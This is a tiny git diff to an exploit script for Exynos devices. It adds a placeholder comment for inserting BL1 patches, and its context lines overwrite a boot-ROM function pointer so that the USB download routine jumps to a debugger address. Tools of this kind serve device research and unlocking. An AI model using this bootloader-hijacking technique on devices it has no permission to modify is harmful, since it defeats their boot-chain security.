diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index f544685..34fbeb0 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -603,7 +603,10 @@ class ExynosDevice(): auth_bl1(DEBUGGER_ADDR) self.usb_write(b"FLSH") # Flush cache hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) + # INSERT YOUR BL1 PATCHES HERE self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31 + + # END jump_bl1(DEBUGGER_ADDR)